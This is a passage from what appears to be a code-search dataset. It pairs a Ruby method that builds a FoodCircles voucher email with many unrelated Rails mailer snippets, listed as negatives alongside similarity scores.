"def register(seller)\n @seller = seller \n mail(:to => seller.emailadd, :subject => \"Welcome to the Car Sales site\") \n\n end",
"def email_rds_create\n curation_concern.email_rds_create( current_user: current_user,\n event_note: \"deposited by #{curation_concern.depositor}\" )\n end",
"def paid_request_to_host(reservation)\n @reservation = reservation\n @tenant = @reservation.user\n @cookoon = @reservation.cookoon\n @host = @cookoon.user\n mail(to: @host.full_email, subject: \"#{@tenant.first_name} souhaite louer votre Cookoon !\")\n end",
"def receipt(parking_registration)\n @parking_registration = parking_registration\n\n mail to: parking_registration.email,\n subject: 'Parking Confirmation'\n end",
"def transmit\n tpl = Template.find(params[\"template_id\"])\n tpl.load(params[:id])\n \n tpl.object.status = InvoiceStatus.find_by_name('invoiced')\n tpl.object.save!\n \n #Notification.deliver_invoice_email(self, tpl)\n Notification.deliver_invoice_fax(self, tpl)\n \n log = SystemLog.create({ \n :log_type => SystemLogType.find_by_name('notification'),\n :loggable_id => params[:id],\n :loggable_type => 'Invoice',\n :subject => 'Invoice sent',\n :msg => 'Invoiced client', \n :created_by => self.current_user.account \n })\n \n action = RAction.new(\n :component_id => 'log_' + tpl.object.id.to_s,\n :msg => 'Inserted log',\n :verb => 'insert',\n :data => {:log => log.to_h},\n :success => true\n ) \n res = RResponse.new\n res.add_action(action)\n res.data[:status] = tpl.object.status.name \n res.success = true\n res.msg = 'Transmitted invoice ' + \" pdf2html success: \"\n respond(res) \n end",
"def send_on_create_confirmation_instructions; end",
"def send_on_create_confirmation_instructions; end",
"def send_purchase_confirmation_email\n return if @user.blank?\n\n send_mail_response = pepo_campaign_obj.send_transactional_email(\n @user.email, GlobalConstant::PepoCampaigns.purchase_confirmation, {})\n\n send_purchase_confirmation_email_via_hooks if send_mail_response['error'].present?\n end",
"def paid_signup(user)\n DelayedKiss.alias(user.full_name, user.email)\n DelayedKiss.record(user.email, 'Sent Paid Signup Email')\n @user = user\n mail to: user.email, subject: \"You've Upgraded to our Business Pro plan!\"\n end",
"def demo_request(email, name, company)\n @email = email\n @name = name\n @company = company\n mail(to: \"casimodo.be@gmail.com\", subject: \"new demo demand\")\n end",
"def booking_created(booked_record)\n @booking = booked_record\n mail to: \"#{@booking.user.email}\", subject: \"Your Booking Status\"\n end",
"def create_purchase_order_email\n @purchase_order = @company.purchase_orders.find(params[:id])\n end",
"def email_confirm\n end",
"def create\n transloadit = Transloadit.new(\n :key => ENV['TRANSLOADIT_AUTH_KEY'],\n :secret => ENV['TRANSLOADIT_AUTH_SECRET']\n )\n\n to = Mail::Address.new(params[:to])\n subject = params[:subject]\n text = params[:text] || params[:html] # will be used as description\n \n if (user = User.find_by_mailbox(to.local))\n attachment_count = params[:\"attachments\"].to_i\n if attachment_count > 0\n attachment_info = JSON.parse(params[:\"attachment-info\"])\n attachment_keys = attachment_info.select { |k,v| v['type'].match(/^image\\//)}.map(&:first)\n attachments = []\n attachment_keys.each do |k|\n attachments.push(params[k])\n end\n unless attachments.empty?\n shirt = user.created_shirts.build(\n :name => subject,\n :description => text\n )\n shirt.owners << shirt.user\n if shirt.save\n transloadit.assembly(\n :template_id => \"42cb74a7389c45da9e3739d63ff06cc7\",\n :fields => { :shirt_id => shirt.to_param },\n :notify_url => shirt_images_url(shirt)\n ).submit!(*attachments)\n end\n end\n end\n end\n \n \n \n render :text => 'Thank you, Mr. Sendgrid'\n end",
"def purchase_more_tokens(opportunity_id, user_id)\n @opportunity = Opportunity.find(opportunity_id)\n @user = User.find(user_id)\n @requester = User.find(@opportunity.user_id)\n mail(to: [@user.email, @requester.email] , subject: 'Request to purchase MOBEEAS Tokens')\n\n end",
"def show_thank_you\n mail to: @guest.email, subject: \"We hope you enjoyed the show\"\n end",
"def welcome(customer)\n @customer = customer\n # @url = \"http://localhost:3000/sign_up\"\n @token = Rails.application.message_verifier('customer').generate(@customer.id)\n mail to: @customer.email\n # binding.pry\n end",
"def dispute_notification(id, amount, currency)\n @id, @amount, @currency = id, amount, currency\n \n mail to: \"kaysertranslation@gmail.com\",\n subject: \"Hikarigo dispute created. Attention may be needed\"\n end",
"def send_email(_invoice)\n code = '$ok'\n from = nil\n to = nil\n\n # Search offer & items\n @sale_offer = SaleOffer.find(_invoice)\n @items = @sale_offer.sale_offer_items.order(:id)\n\n title = t(\"activerecord.models.sale_offer.one\") + \"_\" + @sale_offer.full_no + \".pdf\"\n pdf = render_to_string(filename: \"#{title}\", type: 'application/pdf')\n from = !current_user.nil? ? User.find(current_user.id).email : User.find(@sale_offer.created_by).email\n to = !@sale_offer.client.email.blank? ? @sale_offer.client.email : nil\n\n if from.blank? || to.blank?\n code = \"$err\"\n else\n # Send e-mail\n Notifier.send_sale_offer(@sale_offer, from, to, title, pdf).deliver\n end\n\n code\n end",
"def deposit\n UserMailer.deposit\n end",
"def review_request(user)\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def send_booking_email(info)\n # Send email with booking confirmation\n MemberMailer.booking(self, info).deliver_now\n end"
] |
[
"0.8462904",
"0.70727456",
"0.6913794",
"0.68953955",
"0.6893193",
"0.6875904",
"0.68185943",
"0.6793213",
"0.6765978",
"0.6738851",
"0.6724619",
"0.67229515",
"0.6715527",
"0.67127854",
"0.6702236",
"0.6686836",
"0.6681539",
"0.66647476",
"0.66564995",
"0.6637404",
"0.662545",
"0.6601292",
"0.65775496",
"0.65736455",
"0.65648156",
"0.6555636",
"0.65277624",
"0.65198106",
"0.6517727",
"0.65173924",
"0.65141183",
"0.65115637",
"0.649439",
"0.6486547",
"0.648421",
"0.6477226",
"0.64653146",
"0.64622587",
"0.64595485",
"0.6457575",
"0.6451304",
"0.642169",
"0.64206344",
"0.64105886",
"0.640007",
"0.6398627",
"0.63956314",
"0.63908535",
"0.6386131",
"0.6374493",
"0.6370122",
"0.6360258",
"0.6344668",
"0.63344234",
"0.63084805",
"0.6308304",
"0.63054836",
"0.63027924",
"0.6298053",
"0.6297511",
"0.6293795",
"0.62905735",
"0.6289639",
"0.6286514",
"0.62830037",
"0.6281629",
"0.6281505",
"0.62740684",
"0.6273392",
"0.6269653",
"0.62683797",
"0.6267462",
"0.6262368",
"0.6262259",
"0.6261878",
"0.62618315",
"0.6261111",
"0.6258731",
"0.6257139",
"0.6256246",
"0.6249379",
"0.6248436",
"0.62404394",
"0.6231265",
"0.62287456",
"0.62287456",
"0.62282264",
"0.62271255",
"0.62248003",
"0.6221962",
"0.62186635",
"0.62170404",
"0.621699",
"0.621063",
"0.6210318",
"0.6207351",
"0.6203201",
"0.6202563",
"0.619716",
"0.6182226",
"0.61815894"
] |
0.0
|
-1
|
tkxel_dev: Email Content creation is handled in the following method.
|
def setup_email(user, payment)
mail = Mail.deliver do
to user.email
from 'FoodCircles <hey@joinfoodcircles.org>'
subject "Got your Voucher for #{payment.offer.venue.name}"
reply_to 'used@inbound.foodcircles.net'
html_part do
content_type 'text/html; charset=UTF-8'
body "<table width = '550px'><tr><td style = font-size:12pt; font-family:Arial><p style= text-align: justify;>Print this email or just show it off on a fancy electronic device.</p>
<p style= text-align: justify>
<b>confirmation code:</b> #{payment.code}<br>
<b>good for:</b> #{payment.offer.name}<br>
<b>only at:</b> #{payment.offer.venue.name}<br>
<b>with a minimum of:</b> #{payment.offer.min_diners} diners<br>
<b>expiring:</b> #{30.days.from_now.to_date}</p><br>
<b>3 steps to redeem:</b>
<p>
<b>1)</b> Show server this message before you order. They should jot your code down and confirm.<br>
<b>2)</b> Order regular food or drink for each person in party.<br>
<b>3)</b> Mark Voucher used by following this link! <a href=\"http://staging.foodcircles.net/payment/used?code=#{payment.code}&source=email\">Mark Voucher Used</a></br>
</p><br><br>
Enjoy!<br><br>
Contact support at <b>support@joinfoodcircles.org</b> if you have any concerns or questions whatsoever.<br><br><br>
<h3><u>FOR SERVERS:</u></h3>
<p style= text-align: justify;><b>Write down the confirmation code on the table's receipt or your POS system</b>. Place a \"Buy One, Feed One\" placard on the guest's table, and mark a tally on your chalkboard (if available). Call us at 312 945 8627 with any questions!</p></td></tr></table>"
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def build_email_content\n txt = I18n.t(\"estimate_request.fltk.email_content\", :origin => self.origin_port.name, :destination => destination_port.name, :count => self.estimate_items.first.number_of_items, :description => self.estimate_items.first.description)\n txt\n end",
"def mk_email\n ps = \"P.S. Jeg har vedhæftet relevante dokumenter, så som eksamensbevis og CV i mailen.\"\n ps += \"\\nP.P.S Denne email var genereret med, og sendt fra et Ruby script :)\" if @skills and @skills.include? \"Ruby\"\n \"#{mk_intro}\\n#{mk_body}#{mk_outro}#{mk_sender}#{ps}\"\n end",
"def general_email(addresses, subject_line, body_content, article_content=nil)\n \n if article_content != nil\n attachments.inline['attachment.txt'] = article_content\n end \n \n @content = body_content\n \n #TODO check that email is creatible, ie has valid addresses\n mail(:to => addresses, :subject => subject_line)\n \n end",
"def content_for_preview( layout_options )\r\n content = self.body.dup\r\n content.gsub!( /<%=\\s?(@[^%]+)\\s?%>/, '<code>\\1</code>' )\r\n mail = Mail.new( :token => \"\" )\r\n mail.content = Render::Base.new( content ).mail_content\r\n template = IO.read(\"#{RAILS_ROOT}/app/views/mail_tasks/mailer/this_mail.text.html.rhtml\")\r\n \r\n render = Render::Base.new( template, layout_options.merge( :mail => mail ) )\r\n render.mail_content\r\n end",
"def send_create_mail\n user = self\n if user.mail?\n Mail.deliver do\n from 'Joinville Eau Vive <webmaster@jevck.com>'\n to user.mail(true)\n subject '[JEV] Création de compte sur jevck.com'\n body Erubis::Eruby.new(File.read(File.dirname(__FILE__) + '/../views/mail_registration.erb')).result(:user => user)\n self.charset = 'UTF-8'\n end\n end\n end",
"def create\n transloadit = Transloadit.new(\n :key => ENV['TRANSLOADIT_AUTH_KEY'],\n :secret => ENV['TRANSLOADIT_AUTH_SECRET']\n )\n\n to = Mail::Address.new(params[:to])\n subject = params[:subject]\n text = params[:text] || params[:html] # will be used as description\n \n if (user = User.find_by_mailbox(to.local))\n attachment_count = params[:\"attachments\"].to_i\n if attachment_count > 0\n attachment_info = JSON.parse(params[:\"attachment-info\"])\n attachment_keys = attachment_info.select { |k,v| v['type'].match(/^image\\//)}.map(&:first)\n attachments = []\n attachment_keys.each do |k|\n attachments.push(params[k])\n end\n unless attachments.empty?\n shirt = user.created_shirts.build(\n :name => subject,\n :description => text\n )\n shirt.owners << shirt.user\n if shirt.save\n transloadit.assembly(\n :template_id => \"42cb74a7389c45da9e3739d63ff06cc7\",\n :fields => { :shirt_id => shirt.to_param },\n :notify_url => shirt_images_url(shirt)\n ).submit!(*attachments)\n end\n end\n end\n end\n \n \n \n render :text => 'Thank you, Mr. Sendgrid'\n end",
"def article_create\n NotificationMailer.article_create\n end",
"def preview\n task = MailTasks::Task.new( params[:task] )\n recipient = StoreUser.find( params[:id], :include => \"customer\", :readonly => true )\n mail = task.generate_mails( [recipient], false, mail_layout_options ).first\n render :text => mail.content_with_layout( mail_layout_options ), :layout => false\n # rescue => exception\n # headers[\"Content-Type\"] = \"text/plain\"\n # render :text => exception.to_yaml, :layout => false\n end",
"def new_html_email(html, triggered_by_user_test)\n if triggered_by_user_test\n test_notice = create_test_notice_html()\n end\n <<-EOF\n<html>\n <head>\n <title>AppOptics Alert</title>\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />\n </head>\n <body style=\"background-color: #ffffff; padding: 20px; margin: 0px;\">\n #{test_notice}\n <div id=\"headlogo\" style=\"text-align: left; padding-top:20px;\">\n <img src=\"https://s3.amazonaws.com/appoptics-email/dist/img/appoptics-logo@2x.png\" height=\"20\" alt=\"AppOptics\" />\n </div>\n <div style=\"background-color: #ffffff; font-family: Arial; font-size: 12px; color: #000000; text-align: left; vertical-align: top;\">\n <div id=\"content\">#{html}</div>\n </div>\n <div style=\"background-color: #ffffff; padding: 20px; font-family: Arial; font-size: 10px; line-height: 150%; color: #000000; text-align: center; vertical-align: top;\">\n You received this email because you set up alerts with the AppOptics app.\n </div>\n </body>\n</html>\n EOF\n end",
"def mail_box; end",
"def new\n @mail_template = MailTemplate.new\n @mail_template.content = <<EOS\n%%business_partner_name%%\n%%bp_pic_name%%様\nEOS\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mail_template }\n end\n end",
"def create\n mail = Mail.new\n mail.from = params[:from]\n mail.to = params[:to]\n mail.cc = params[:cc]\n mail.subject = params[:subject]\n mail.delivery_method :smtp, ActionMailer::Base.smtp_settings\n\n text_part = Mail::Part.new\n text_part.body = params[:text]\n\n html_part = Mail::Part.new\n html_part.content_type = 'text/html; charset=UTF-8'\n html_part.body = simple_format(params[:text])\n\n mail.text_part = text_part\n mail.html_part = html_part\n\n mail.deliver\n\n flash[:notice] = \"Test email sent\"\n redirect_to new_test_email_path\n end",
"def create_email_settings\n build_email_settings\n true\n end",
"def create_email_settings\n build_email_settings\n true\n end",
"def identifier_email(topic,identifiers,board_publication,receipients,attach_content,include_comments,message_content,message_subject=nil)\n # add attachments\n if (identifiers.length > 0 && attach_content)\n document_content = \"\"\n identifiers.each do |ec|\n unless ec.nil?\n document_content += Identifier.find(ec[:id]).content || \"\"\n end\n end\n attachments.inline['attachment.txt'] = document_content\n end\n if include_comments \n @comments = Comment.find_all_by_publication_id(identifiers[0].publication.origin.id) \n else\n @comments = [] \n end\n\n na_text = I18n.t(\"mailers.notapplicable\")\n @identifier_links = identifiers.length > 0 ? Hash[identifiers.map {|x| [x.title, preview_url(x)]}] : Hash[ na_text, dashboard_url ]\n\n # publication title and publication link should always give us the publication of origin\n @publication_links = identifiers.length > 0 ? Hash[identifiers.first.publication.origin.title, url_for(identifiers.first.publication.origin)] : Hash[ na_text, dashboard_url ]\n\n @board_publication_links = board_publication.nil? ? Hash[ na_text, dashboard_url ] : Hash[ board_publication.title , url_for(board_publication) ]\n\n if board_publication.nil?\n board_owner = na_text\n else\n board_owner = board_publication.owner.friendly_name\n end\n\n # we want to leave it to mailer view to be able to relace the IDENTIFIER_LINK and PUBLICATION_LINK placeholders with active links\n # to the identifiers and publications but first we need to do some weird string wrangling here to make sure that the user-entered \n # email message escapes any unsafe content \n # (see http://makandracards.com/makandra/2579-everything-you-know-about-html_safe-is-wrong for explaination)\n @message = \"\".html_safe \n @message << message_content.gsub(/!IDENTIFIER_TITLES/,identifiers.collect{|ei| ei.title}.join('; ')).gsub(/!PUBLICATION_TITLE/,identifiers[0].publication.origin.title).gsub(/!TOPIC/,topic) \n .gsub(/!PUBLICATION_CREATOR_NAME/,identifiers[0].publication.origin.creator.full_name).gsub(/!BOARD_OWNER/,board_owner)\n\n\n identifier_titles = identifiers.collect{|ei| ei.title}.join('; ')\n if message_subject.nil? || message_subject == ''\n message_subject = topic + ': ' + identifiers[0].publication.origin.title + \" \" + identifier_titles\n else\n message_subject = message_subject.gsub(/!TOPIC/,topic).gsub(/!PUBLICATION_TITLE/,identifiers[0].publication.origin.title).gsub(/!IDENTIFIER_TITLES/,identifier_titles)\n end\n # make sure we have a decent length for the subject\n message_subject = truncate(message_subject, length:75)\n mail(:to => receipients, :subject => message_subject)\n end",
"def compose_email\n @title = t 'conclusion_draft_review.send_by_email'\n end",
"def build_message\n @subject = RecipientsFor::Subject.new\n @content = RecipientsFor::Content.new\n end",
"def create\n @email = Email.new\n migrate_template_to_email\n respond_to do |format|\n if @email.save\n build_emails\n format.html {redirect_to emails_url, notice: 'Email was successfully created.'}\n format.json {render :index, status: :created}\n else\n format.html {render :new}\n format.json {render json: @email.errors, status: :unprocessable_entity}\n end\n end\n end",
"def new_idea(idea)\n begin\n m = Mandrill::API.new\n template = m.templates.render 'GetViable New Idea Added', [{:name => \"first_name\", :content => idea.user.name}, {:name => \"idea_name\", :content => idea.title}]\n mail_job = mail(:to => idea.user.email, :subject => \"Getting started with #{idea.title}\") do |format|\n format.html { template['html'] }\n #format.text { render \"test\" }\n end\n mail_job.deliver\n rescue Exception => e\n\n end\n end",
"def build_text_mail(files, titles)\n data = \"\"\n files.each_with_index do |file, i|\n data += \"\\n\\n#{titles[i]}\\n\\n\"\n data += File.read(File.join(File.dirname(__FILE__), file))\n end\n # Add google file link with test coverage at the end of email\n data +=\"\\n\\n<a href='https://google.com'>Test Coverage</a>\\n\\n\"\n # attached screenshots\n pictures = Dir.glob(Rails.root.join('public', 'images', 'screenshots', '*.png'))\n #pictures = Dir.glob(Rails.root.join(\"/var/www/office/public/images/capybara/*.png\"))\n count = 0\n pictures.each do |p|\n count += 1\n data += \"<img src='#{ 'https://google.com' + p.split('/').last }'>\"\n break if count == 10\n end\n data\nend",
"def body\n render text: fetch_email(params[:id]).body, content_type: 'text/html'\n end",
"def package\n raise \"Missing from address\" if self.from.nil?\n\n begin \n @envelope = TMail::Mail.new()\n rescue => e\n begin\n require 'tmail'\n @envelope = TMail::Mail.new()\n rescue MissingSourceFile, Gem::LoadError => e\n logger.error(\"TMail Gem wasn't found. Please install if you want to send mail.\")\n end\n end\n \n # http://tmail.rubyforge.org/rdoc/index.html\n @envelope.mime_version = \"1.0\"\n @envelope.charset = self.charset\n @envelope.message_id = self.message_id\n @envelope.from = [self.from]\n @envelope.to = [self.to] if self.to\n @envelope.cc = [self.cc] if self.cc\n @envelope.bcc = [self.bcc] if self.bcc\n @envelope.date = self.date\n @envelope.subject = self.subject\n \n html = TMail::Mail.new()\n html.body = self.render_result\n html.set_content_type('text','html')\n \n @envelope.parts << html\n @envelope.set_content_type('multipart', 'mixed') # needs to be set last or throws an error\n end",
"def genHTMLMessage(title: \"\", headline: \"\", msg: \"\", template: $MU_CFG['html_template'], extra_vars: {})\n logo_url = \"/cloudamatic.png\"\n page = \"<img src='#{logo_url}'><h1>#{title}</h1>#{msg}\"\n vars = {\n \"title\" => title,\n \"msg\" => msg,\n \"headline\" => headline,\n \"logo\" => logo_url\n }.merge(extra_vars)\n if !template.nil? and File.exist?(template) and File.readable?(template)\n page = Erubis::Eruby.new(File.read(template)).result(vars)\n elsif $MU_CFG.has_key?('html_template') and\n File.exist?($MU_CFG['html_template']) and\n File.readable?($MU_CFG['html_template'])\n page = Erubis::Eruby.new(File.read($MU_CFG['html_template'])).result(vars)\n elsif File.exist?(\"#{$MU_CFG['libdir']}/modules/html.erb\") and\n File.readable?(\"#{$MU_CFG['libdir']}/modules/html.erb\")\n page = Erubis::Eruby.new(File.read(\"#{$MU_CFG['libdir']}/modules/html.erb\")).result(vars)\n end\n page\nend",
"def sendEmailMessage(template_to_use)\n puts \"Sending Email Message to User\" if @debug_logging_enabled\n begin\n\n # Create SMTP Defaults hash\n smtp_defaults = {\n :address => @smtp_server,\n :port => @smtp_port,\n :authentication => @smtp_auth_type,\n :enable_starttls_auto => @smtp_tls\n }\n\n # Unless there was not a user specified\n unless @smtp_username.nil? || @smtp_username.empty?\n # Set the email authentication\n smtp_defaults[:user_name] = @smtp_username\n smtp_defaults[:password] = @smtp_password\n end\n\n Mail.defaults do\n delivery_method :smtp, smtp_defaults\n end\n\n # Send out Message VIA SMTP\n to = @recipient_json[\"smtpaddress\"]\n from = @smtp_from\n display_name = @smtp_from\n subject = template_to_use[\"Subject\"]\n htmlbody = template_to_use[\"HTML Content\"]\n textbody = template_to_use[\"Text Content\"]\n\n mail = Mail.new do\n from \"#{display_name} <#{from}>\"\n to \"#{to}\"\n subject \"#{subject}\"\n\n text_part do\n body \"#{textbody}\"\n end\n end\n \n\n # Embed linked images into the html body if present\n unless htmlbody.nil? || htmlbody.empty?\n # Initialize a hash of image links to embeded values\n embedded_images = {}\n\n # Iterate over the body and embed necessary images\n htmlbody.scan(/\"cid:(.*)\"/) do |match|\n # The match variable is an array of Regex groups (specified with\n # parentheses); in this case the first match is the url\n url = match.first\n # Unless we have already embedded this url\n unless embedded_images.has_key?(url)\n cid = embed_url(mail,url)\n embedded_images[url] = cid\n end\n end\n\n # Replace the image URLs with their embedded values\n embedded_images.each do |url, cid|\n htmlbody.gsub!(url, cid)\n end\n\n mail.html_part do\n content_type \"text/html; charset=UTF-8\"\n body \"#{htmlbody}\"\n end\n end\n \n if !template_to_use[\"Attachments\"].nil?\n mail = apply_attachments(mail, template_to_use[\"Attachments\"])\n end\n\n puts \"Delivering the mail\" if @debug_logging_enabled\n mail.deliver\n\n if !mail.bounced?\n puts \"Mail message: #{mail.inspect}\" if @debug_logging_enabled\n return { \"message_id\" => mail.message_id }\n else\n send_error = <<-LOGGING\nThere was an error sending the email message\n Bounced?: #{mail.bounced?}\n Final Recipient: #{mail.final_recipient}\n Action: #{mail.action}\n Error Status: #{mail.error_status}\n Diagnostic Code: #{mail.diagnostic_code}\n Retryable?: #{mail.retryable}\nLOGGING\n\n puts send_error if @debug_logging_enabled\n @error_message = @error_message + send_error\n return { \"message_id\" => nil }\n end\n rescue Exception => e\n if @error_handling == \"Raise Error\"\n raise\n else\n send_error = \"#{e.class.name} : #{e}\"\n puts send_error if @debug_logging_enabled\n @error_message = @error_message + send_error\n return { \"message_id\" => nil }\n end\n end\n end",
"def create_message(data); end",
"def create_message(data); end",
"def preview_email\r\n invitation = Invitation.new(:user => current_user, :code => Code.new)\r\n mail = Mailers::Debate.create_invitation(current_user, @resource, invitation)\r\n @mail_body = mail.body.sub('No message provided', 'YOUR PERSONALIZED NOTE GOES HERE')\r\n\r\n render :inline => %Q{<%= simple_format(@mail_body, {:style => 'margin: 8px 0px'}) %>}\r\n end",
"def email_creation(hash_to_manipulate,msg)\n retirement_site=[]\n others_site=[]\n sorted_hash = hash_to_manipulate.sort_by{ |instance, details| details[:not_before] }\n sorted_hash.each do |instance, details|\n if details[:code] == \"instance-retirement\"\n retirement_site << \"<tr><td>#{details[:name]}</td><td>#{instance}</td><td>#{details[:code]}</td><td>#{details[:not_before]}</td><td>#{details[:region]}</td><td>#{details[:site]}</td></tr>\"\n else\n unless details[:description] =~ /\\[Completed\\]|\\[Canceled\\]/\n others_site << \"<tr><td>#{details[:name]}</td><td>#{instance}</td><td>#{details[:code]}</td><td>#{details[:not_before]}</td><td>#{details[:region]}</td><td>#{details[:site]}</td></tr>\"\n end\n end\n end\n # This is so people know the system is working, but that nothing happened today\n if retirement_site.empty? and others_site.empty?\n msg << \"<html>\"\n msg << \"<body>\"\n msg << \"<h3>No events today! Have a nice day! :)</h3>\"\n msg << \"</body>\"\n msg << \"</html>\"\n end\n unless retirement_site.empty? and others_site.empty? \n msg << \"<html>\"\n msg << \"<body>\"\n unless retirement_site.empty?\n msg << \"<h3>Instances that are being terminated!</h3>\"\n msg << \"<table border=\\\"1\\\" cellpadding=\\\"5\\\">\"\n msg << \"<tr><th>Instance Name</th><th>Instance ID</th><th>Event</th><th>Earliest Date of Event</th><th>Region</th><th>Site</th></tr>\"\n msg << \"#{retirement_site.join(\"\\n\")}\"\n msg << \"</table>\"\n msg << \"<p><p>\"\n end\n unless others_site.empty?\n msg << \"<h3>Instances with non-terminal events.</h3>\"\n msg << \"<table border=\\\"1\\\" cellpadding=\\\"5\\\">\"\n msg << \"<tr><th>Instance Name</th><th>Instance ID</th><th>Event</th><th>Earliest Date of Event</th><th>Region</th><th>Site</th></tr>\"\n msg << \"#{others_site.join(\"\\n\")}\"\n msg << \"</table>\"\n end\n msg << \"</body>\"\n msg << \"</html>\"\n end\nend",
"def mailer; end",
"def inject_notifications_content\n\n content = model_contents\n\n class_path = if namespaced?\n class_name.to_s.split(\"::\")\n else\n [class_name]\n end\n\n indent_depth = class_path.size - 1\n=begin\n raise <<-ERROR\nclass_path #{class_path} class_name #{class_name} model_path #{model_path} class_path.last #{class_path.last} indent_depth #{indent_depth}.\n\n ERROR\n=end\n content = content.split(\"\\n\").map { |line| \" \" * indent_depth + line } .join(\"\\n\") << \"\\n\"\n inject_into_class(model_path, class_path.last, content) if model_exists?\n\n inject_into_file 'app/mailers/notifications/mailer.rb', after: \"#extend\" do <<-CONTENT\n\nNotifications::Mailer.class_eval do\n def #{file_path}_create(record, token, opts={})\n devise_mail(record, :#{file_path}_create, opts)\n end\n def #{file_path}_update(record, token, opts={})\n devise_mail(record, :#{file_path}_update, opts)\n end\n def #{file_path}_destroy(record, token, opts={})\n devise_mail(record, :#{file_path}_destroy, opts)\n end\nend\n CONTENT\n end\n end",
"def create!(method_name, *parameters) #:nodoc:\n initialize_defaults(method_name)\n __send__(method_name, *parameters)\n\n # If an explicit, textual body has not been set, we check assumptions.\n unless String === @body\n # First, we look to see if there are any likely templates that match,\n # which include the content-type in their file name (i.e.,\n # \"the_template_file.text.html.erb\", etc.). Only do this if parts\n # have not already been specified manually.\n if @parts.empty?\n # Start find with name.content-type.locale.*\n dg = Dir.glob(\"#{template_path}/#{@template}.*.#{@locale}.*\")\n # Continue find withouth content-type\n dg = Dir.glob(\"#{template_path}/#{@template}.#{@locale}.*\") unless dg.any?\n # Finally go for just the name\n dg = Dir.glob(\"#{template_path}/#{@template}.*\") unless dg.any?\n dg.each do |path|\n template = template_root[\"#{mailer_name}/#{File.basename(path)}\"]\n\n # Skip unless template has a multipart format\n next unless template && template.multipart?\n\n @parts << Part.new(\n :content_type => template.content_type,\n :disposition => \"inline\",\n :charset => charset,\n :body => render_message(template, @body)\n )\n end\n unless @parts.empty?\n @content_type = \"multipart/alternative\" if @content_type !~ /^multipart/\n @parts = sort_parts(@parts, @implicit_parts_order)\n end\n end\n\n # Then, if there were such templates, we check to see if we ought to\n # also render a \"normal\" template (without the content type). If a\n # normal template exists (or if there were no implicit parts) we render\n # it.\n localised_template_exists = false\n template_exists = @parts.empty?\n if template_exists\n # render the localised template if available\n localised_template_exists = template_root[\"#{mailer_name}/#{@template}.#{@locale}\"]\n @body = render_message(\"#{@template}.#{@locale}\", @body) if localised_template_exists\n end\n template_exists ||= template_root[\"#{mailer_name}/#{@template}\"]\n @body = render_message(@template, @body) if template_exists unless localised_template_exists\n\n # Finally, if there are other message parts and a textual body exists,\n # we shift it onto the front of the parts and set the body to nil (so\n # that create_mail doesn't try to render it in addition to the parts).\n if !@parts.empty? && String === @body\n @parts.unshift Part.new(:charset => charset, :body => @body)\n @body = nil\n end\n end\n\n # If this is a multipart e-mail add the mime_version if it is not\n # already set.\n @mime_version ||= \"1.0\" if !@parts.empty?\n\n # build the mail object itself\n @mail = create_mail\n end",
"def as_eloqua_email\n subject = \"#{self.title}: #{self.abstracts.first.headline}\"\n\n {\n :html_body => view.render_view(\n :template => \"/editions/email/template\",\n :formats => [:html],\n :locals => { edition: self }).to_s,\n\n :plain_text_body => view.render_view(\n :template => \"/editions/email/template\",\n :formats => [:text],\n :locals => { edition: self }).to_s,\n\n :name => \"[scpr-edition] #{self.title[0..30]}\",\n :description => \"SCPR Short List\\n\" \\\n \"Sent: #{Time.now}\\nSubject: #{subject}\",\n :subject => subject,\n :email => \"theshortlist@scpr.org\"\n }\n end",
"def execute\n space_slug = @parameters[\"space_slug\"].empty? ? @info_values[\"space_slug\"] : @parameters[\"space_slug\"]\n if @info_values['api_server'].include?(\"${space}\")\n @api_server = @info_values['api_server'].gsub(\"${space}\", space_slug)\n elsif !space_slug.to_s.empty?\n @api_server = @info_values['api_server']+\"/\"+space_slug\n else\n @api_server = @info_values['api_server']\n end\n\n # Build Recipient JSON Based on input value. If not JSON, assume it's an email address\n begin\n @recipient_json = JSON.parse(@parameters[\"recipient_json\"])\n rescue\n @recipient_json = { \"smtpaddress\" => @parameters[\"recipient_json\"], \"type\" => \"smtp\", \"email notifications\" => 'yes' }\n end\n\n # Build Up Template with snippet Replacements\n template_to_use = mergeTemplateAndsnippets(@template_name)\n\n # Get Valid Date formats from CE\n getDateFormats()\n\n # Replace Content in Subject, HTML Body, Text Body if a Template was found\n template_to_use[\"Subject\"] = apply_replacements(template_to_use[\"Subject\"])\n template_to_use[\"HTML Content\"] = apply_replacements(template_to_use[\"HTML Content\"])\n template_to_use[\"Text Content\"] = apply_replacements(template_to_use[\"Text Content\"])\n\n ################################################\n ## SEND EMAIL AND CREATE NOTIFICATION IN CE ##\n ################################################\n\n # Check to make sure a valid message template was found\n if !template_to_use.nil?\n\n # If the User has an email address and want to receive notifications\n email_results = {}\n if !@recipient_json[\"smtpaddress\"].to_s.empty? && @recipient_json[\"email notifications\"].to_s.downcase != 'no'\n email_results = sendEmailMessage(template_to_use)\n else\n @error_message = @error_message + \"\\nNo Email Address or CE User was provided\"\n end\n\n # Returning Results With Success\n results = \"<results>\\n\"\n results += \" <result name='Handler Error Message'>#{escape(@error_message)}</result>\\n\"\n results += \" <result name='Email Id'>#{escape(email_results['message_id'])}</result>\\n\"\n results += \"</results>\"\n else\n @error_message = \"Notification template \\\"#{@template_name}\\\" could not be found.\"\n # Returning Results With Failure\n results = \"<results>\\n\"\n results += \" <result name='Handler Error Message'>#{escape(@error_message)}</result>\\n\"\n results += \" <result name='Email Id'></result>\\n\"\n results += \"</results>\"\n end\n return results\n end",
"def create_mms_content(content)\n result = \"\"\n # original ------=_Part_0_24807938.1166753497728\n #original Content-Type: text/xml; charset=UTF-8\n #original Content-Transfer-Encoding: quoted-printable\n # soap_header_part = self.header_part\n \n content.each { |content| \n \tcontent_msg = <<EOF__RUBY_END_OF_MESSAGE\n \t\n#{self.multi_part_header}\nContent-Type: #{content[:mimetype]}; name=#{content[:name]}\nContent-Transfer-Encoding: #{content[:encoding]}\nContent-Disposition: attachment; filename=#{content[:filename]}\nContent-ID: <#{content[:cid]}>\n\n#{content[:value]} \n\nEOF__RUBY_END_OF_MESSAGE\n # puts \"building message #{sms_msg}\"\n result << \"#{content_msg}\" \n } if content !=nil\n result \nend",
